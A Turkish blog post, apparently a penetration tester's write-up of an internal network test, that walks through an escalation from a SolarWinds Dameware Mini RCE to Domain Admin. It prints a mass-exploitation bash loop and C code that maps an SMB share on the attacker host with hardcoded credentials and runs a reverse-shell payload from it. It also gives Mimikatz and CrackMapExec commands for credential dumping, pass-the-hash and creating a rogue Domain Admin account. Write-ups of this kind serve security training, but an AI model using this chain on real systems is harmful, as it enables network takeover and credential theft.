Domain Admin’e Uzanan Yolculuk

Kariyerimde benim için özel yere sahip olan ve türlü ekşınlar içeren yeni yazımdan herkese merhaba!

Bu yazımda, stajyerlikten sonra siber güvenlik uzmanı ünvanına sahip olduğum ilk günümde takım liderim Emre Toraman akıl hocalığı ve yönlendirmeleri ile gerçekleştirdiğim iç ağ (Intranet) sızma testi sırasında Domain Admin olma hikayemi sizlerle paylaşıyor olacağım.

Bu yazı içerisinde, SolarWinds Dameware Mini Uzaktan Komut Yürütme (Remote Code Execution) zafiyetinin sömürülmesi, BloodHound, CrackMapExec aracı ile Active Directory üzerinde yanal haraketler (Lateral Movement) ile ilerlenmesi, birkaç ufak hacker mentalitesi trickleri ve Domain Controller sunucusu üzerinde domain admin yetkilerine sahip kullanıcı oluşturulması konularını sizlerle paylaşmaya çalışacağım.

SolarWinds Dameware Mini RCE Zafiyeti: Kullanıcının gönderdiği verilerin DameWare Mini uygulaması tarafından yanlış şekilde doğrulanması sebebi ile saldırgan tarafından bir kimlik doğrulaması gerekmeksizin uzaktan komut yürütme saldırıları mümkün hale gelmektedir.

İç ağ (Intranet) üzerinde gerçekleştirdiğimiz zafiyet taraması sonucunda bazı IP:Port adreslerinde SolarWinds Dameware Mici RCE zafiyetinin var olduğunu tespit ettik. Biz zafiyeti sömürmek için aşağıdaki adreste yer alan python scriptini kullanacağız.

https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcs_dwDrvInst_rce.py

Bu script ile zafiyeti sömürmek için:

python solarwinds.py -t <hedef IP Adresi> -e <çalıştırmak istenilen dosya>

Buradaki mentalitede, -e parametresinden sonra vereceğimiz .exe dosyası yani hedef sistemde çalıştırmak istediğimiz dosya olarak kullanmak için: Saldırgan cihazımıza meterpreter bağlantısı (reverse shell) yaptıracak bir zararlı yazılım oluşturduk.

Msfconsole üzerinden dinlemeyi (multi/handler) aktif ettikten sonra -e parametresine bu .exe dosyasını vererek exploiti çalıştırdık.

SolarWinds Dameware uygulamasının çalıştığı sistem üzerinde, bizim hazırlamış olduğumuz zararlı yazılımı engelleyecek bir antivirüs kurulu değil ise veya zararlı yazılım çalıştıktan sonra zararlı bağlantıyı tespit ederek kesecek bir IPS vb. güvenlik ürünü bulunmuyor ise hedeflediğimiz sunucu IP’sinden saldırgan makinemize doğru kolaylıkla bağlantıyı (reverse shell) alabiliriz.

Bingo! Zafiyeti sömürdükten sonra bağlantı bize Windows üzerinde en yüksek haklara sahip olan “NT AUTHORITY\ System” hakları ile geliyor. Yani bu adımdan sonra bir hak yükseltme (privilege escalation) işlemi için uğraşmamıza gerek bile yok.

Sonrasında mimikatz kullanarak bağlantı sağladığımız sistemde bir şekilde oturum açmış olan kullanıcıların parola hashlerini dump ettik.
Meterpreter shelli üzerindeyken önce; load kiwi komutu ile Mimikatzi yükledik, sonra da creds_all komutunu kullanarak sistemde oturum açmış olan tüm kullanıcıların kimlik bilgilerini (credentials) elde ettik.

Tamam, bazı kullanıcılar ve bu kullanıcıların parola hashlerini elde ettik, ancak bizim hedefimiz, testi gerçekleştirdiğimiz iç ağ üzerinde Domain Admin yetkilerine sahip olmak. Bu sebep ile bizim hangi kullanıcıların “Domain Admins” grubunda olduğunu bir şekilde öğrenmemiz gerekiyor.

Bu adımda bize destek için BloodHound aracı devreye giriyor. BloodHound, tüm active directory ilişkilerini tespit etmek için geliştirilmiş bir araç. BloodHound’u hedef sistem üzerinde yer alan bir cihaz üzerinden çalıştırarak active directory üzerinde “Domain Admins” grubunda yer alan kullanıcıların listesini elde edeceğiz.

Aşağıdaki örnek ekran görüntüsünde göreceğiniz üzere, BloodHound aracı sayesinde sistem üzerinde Domain Admins grubunda olan kullanıcıların kimler olduğunu tespit ettik. Artık bu kullanıcıların üzerine yoğunlaşarak devam edebiliriz.

Mimikatz ile elde ettiğimiz ve Domain Admin grubunda olduğunu bildiğimiz kullanıcı adı ve parola hashlerini kullanarak, Domain Controller sunucularına bağlantı yapmayı deneyeceğiz. Eğer elde ettiğimiz bilgiler ile Domain Controller sunucusuna erişim sağlayabilirsek, direkt olarak domain admin haklarına sahip yeni bir kullanıcı oluşturabiliriz.

Kullanıcı adı ve parola hashlerini kullanarak hedeflediğimiz sistem üzerinde oturum açmak için Pass the Hash yöntemini kullanacağız.

Pass the Hash: Pass the Hash yöntemi ile kullanıcı parolasının hash hali kullanılarak uzaktaki Windows sistemlerin komut satırına erişim sağlanabilmektedir.

Biz Pass the Hash saldırılarını gerçekleştirmek ve elde etmiş olduğumuz parola hashlerinin hala geçerli olup olmadığını kontrol etmek için CrackMapExec aracını kullanacağız. CrackMapExec’i kullandıktan sonra eğer ki Pwn3d! çıktısını görürsek kullandığımız parola hashlerinin hala geçerli olduğunu anlayabiliriz.

CrackMapExec smb <Hedef Cihaz IP> -u <Kullanıcı Adı> -H <Parola Hashi>

Elde ettiğimiz kullanıcı bilgileri (credentials) ile Domain Controller sunucularına veya diğer sistemlere bağlantı sağlayamadık. Buradan anladığımız, bağlantı (reverse shell) aldığımız sistem üzerinde yer alan parola hashleri eski yani kullanıcılar parolalarını sonradan değiştirmiş.

O zaman bizim, SolarWinds Dameware RCE zafiyetinden etkilenen diğer sistemlerden de bağlantı (reverse shell) alarak o cihazlar üzerinden de parola hashlerini dump etmemiz ve sonra bu kimlik bilgilerini kullanarak farklı sistemlere erişip erişemediğimizi kontrol etmemiz gerekecek.

Bu işlevi otomatize hale getirmek için yani SolarWinds Dameware zafiyetinin olduğu tespit edilmiş olan tüm cihazlardan aynı anda tek komut ile reverse shell alabilmek için:

1- Kendi saldırgan cihazımız üzerinden bir SMB Paylaşımı (SMB Share) aktif hale getirdik ve hazırlamış olduğumuz zararlı yazılımı bu smb paylaşımı altına kopyaladık.

service smbd start

2- Sonrasında, Dameware zafiyetinden etkilenen cihazlar üzerinde; Öncelikle SMB Paylaşımını ekleyecek ve bu SMB paylaşımı üzerinden hazırlamış olduğumuz zararlı yazılımı çalıştırma işlemlerini sırasıyla yapacak olan C kodunu düzenledik ve sonra adı advancedMalware.exe olacak şekilde derledik.

İlgili C kodu:

#include <Windows.h>

void startup(LPCSTR lpApplicationName)
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    CreateProcessA
    (
        lpApplicationName,   
        "1",
		         
        NULL,                
        NULL,               
        FALSE,                 
        CREATE_NEW_CONSOLE,    
        NULL,           
        NULL,          
        &si,          
        &pi         
    ); 
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
}

int main(int argc, char** argv) {   

system("net use R: \\\\192.168.0.10\\pentest /PERSISTENT:YES /user:pentest baris123");
startup("R:\\Untitled.exe");
system("net use R: /delete");

return (0);
}

Bu C kodu içerisinde yer alan aşağıdaki 3 satır ile:

net use R: \\\\192.168.0.10\\pentest /PERSISTENT:YES /user:pentest baris123
R:\\Untitled.exe
net use R: /delete

İlk olarak SMB paylaşımı yaptığımız klasörü, zafiyetli sistem üzerinde R: adlı bir ağ klasörü (Network Location) olarak eklemiş olduk. Sonrasında bu R: klasörü üzerinden Untitled.exe adlı zararlı yazılımımızı çalıştırttık ve sonrasında eklemiş olduğumuz R: adlı ağ klasörünü sildirmiş olduk.

Gelmiş olduğumuz adımda ufak bir trick olarak bahsetmek isterim ki: Gerçekleştirdiğimiz zafiyet taraması sonucunda bazı IP:Port adreslerinde SolarWinds Dameware zafiyetini tespit etmiştik ancak bu zafiyet taraması sırasında yaşanabilecek olan bazı network paket sorunları sebebiyle normalde bu zafiyetin var olduğu ama zafiyet taramasında tespit edilememiş bazı sunucular olabilir. Bu sebep ile bu noktada, (SolarWinds Dameware uygulaması varsayılan olarak 6129 portunda çalışmaktadır) iç ağ sızma testi kapsamında olan tüm IP Subnetlerinin 6129 portunun açık olup olmadığına nmap ile bakılabilir.

Bizde burada kapsamımızda olan tüm subnetlerin 6129 portunun açık olup olmadığına nmap ile baktık ve gerçektende zafiyet taramasında tespit edilmemiş olan bazı sunucularda dahil bu zafiyetin var olduğunu tespit ettik. Bu güzel çünkü bu bizim için daha fazla zafiyetli cihaz, daha fazla shell, daha fazla hash yani daha fazla şans demek oluyor. Sonrasında bu adresleri de DameWareIP.txt içerisine ekledik.

Nmap -sSV -Pn -p 6129 -iL subnets.txt --open > DameWareIP.txt

3- DameWare zafiyetinin olduğu tüm IP adreslerini DameWareIP.txt içerisine eklemiştik sonrasında bash üzerinden bir while döngüsü ile DameWareIP.txt içerisinde yer alan tüm IP’lerde hazırlamış olduğumuz zararlı advancedMalware.exe dosyasını çalıştırmak için aşağıdaki komutu kullandık.

while read ip; do python solarwinds.py -t $ip -e advancedMalware.exe; done < DameWareIP.txt

4- Bu sayede bu zafiyetten etkilenen tüm sistemlerden aynı anda reverse shell alabildik. Ve reverse shell elde ettiğimiz tüm sistemlerden yine Mimikatz aracılığı ile parola hashlerini topladık.

Güzel, artık elimizde hatırı sayılır miktarda parola hashleri var. Ancak üzücü haber şu ki BloodHound ile tespit ettiğimiz Domain Admins grubuna ekli olan hiç bir kullanıcının parola hashini elde edemedik. Ama bazı sistem admin yetkilerine sahip kullanıcıların parola hashlerini elde ettik.

Bize Domain Admins grubunda yer alan kullanıcıların parolaları & parola hashleri gerekiyor. Bu sebep ile CrackMapExec’in sihirli bir trickini kullanarak sistem admin yetkilerine sahip kimlik bilgilerini kullanarak IP kapsamımızda yer alan ve 445 portu yani SMB portu açık olan tüm sistemlere bağlantı yaparak bu sistemler üzerinde oturum açmış olan tüm hesapların LSA dumplarını topladık. Kullandığımız komut;

CrackMapExec smb <IP adresleri> -u <Kullanıcı Adı> -H <Parola Hashi> --local-auth --lsa

Bağlantı sağladığımız tüm sistemlerden LSA dumplarını topladık. Artık elimizde daha da fazla parola hashleri mevcut. Bu LSA dumpları içerisinden “Domain Admins” grubunda yer alan kullanıcıların parola hashlerini bir kenara ayırdık.

Bu parola hashlerine bakarken bir kullanıcı için birden çok parola hashi bilgisi olduğunu gördük. Bu durum şundan kaynaklanmaktadır: X kullanıcısı 10.10.10.5 IP’li cihazda 40 gün önce oturum açmış olabilir ve oturum açtıktan sonra da parolasını değiştirmiş olabilir. Bu sebep ile parola hashi bilgisi de değişeceği için, bu parola hashlerini kullanarak güncel olarak windows sistemlere erişim sağlayamayız.

Defansif açıdan, bu sistemlerde daha önceden oturum açmış kullanıcı bilgilerinin elde edilmemesi için ilgili cihaz üzerinden bu parola hashlerinin temizlenmesi gerekmektedir.

Ve Pwn3d! Uzun ve soluklu denemelerimiz sonrasında sonunda Domain Admins grubunda olduğunu bildiğimiz bir kullanıcı bilgileri ile Domain Controller sunucusuna bağlantı sağlayabildik.

Artık Domain Controller sunucusuna bağlantı yapabiliyoruz. Şimdi tekrar CrackMapExec kullanarak bir kullanıcı oluşturalım ve bu kullanıcıyı Domain Admins grubuna ekleyelim.

Aşağıda belirttiğim komut ile domain üzerinde “x” adında bir kullanıcı yarattık.

CrackMapExec smb <DomainContrller IP> -u <Kullanıcı Adı> -H <Parola Hashi> -X "net user <Oluşturulacak Kullanıcı Adı> <Parola> /add /domain"

Aşağıda belirttiğim komut ile de oluşturduğumuz “x” adlı kullanıcıyı Domain Admins grubuna ekledik.

CrackMapExec smb <DomainContrller IP> -u <Kullanıcı Adı> -H <Parola Hashi> -X "net group 'Domain Admins' <Oluşturulan KullanıcıAdı> /add"

Domain Controller’a oluşturduğumuz kullanıcı ile RDP yaparak bağlandık ve “x” adlı kullanıcımızın hangi gruplara ekli olduğunu görüntüledik.

Hedef sistemde oluşturmuş olduğumuz kullanıcı artık Active Directory üzerinde en yüksek yetkilere sahip olan Domain Admins grubunda.

Umarım okuduğunuzda keyif aldığınız, sizlere farklı trickler veya bakış açıları gösterebildiğim bir yazı olmuştur (:

0x036

Domain Admin’e Uzanan Yolculuk” için bir yanıt

Add yours

  1. Dostum Lateral movement nasıl yapılır gayet güzel anlatmışsın tebrik ederim. Bu yazıyı güvenlikçilerden ziyadede diğer birimlerin okuması gerekir. Bu sayede Sunucularda antivirüs yazılımının olmamasının nelere yol açacağını anlarlar. Tebrikler.

    Liked by 1 kişi

Bir Cevap Yazın

Aşağıya bilgilerinizi girin veya oturum açmak için bir simgeye tıklayın:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Google fotoğrafı

Google hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap /  Değiştir )

Connecting to %s

WordPress.com'da bir web sitesi veya blog oluşturun

Yukarı ↑

%d blogcu bunu beğendi: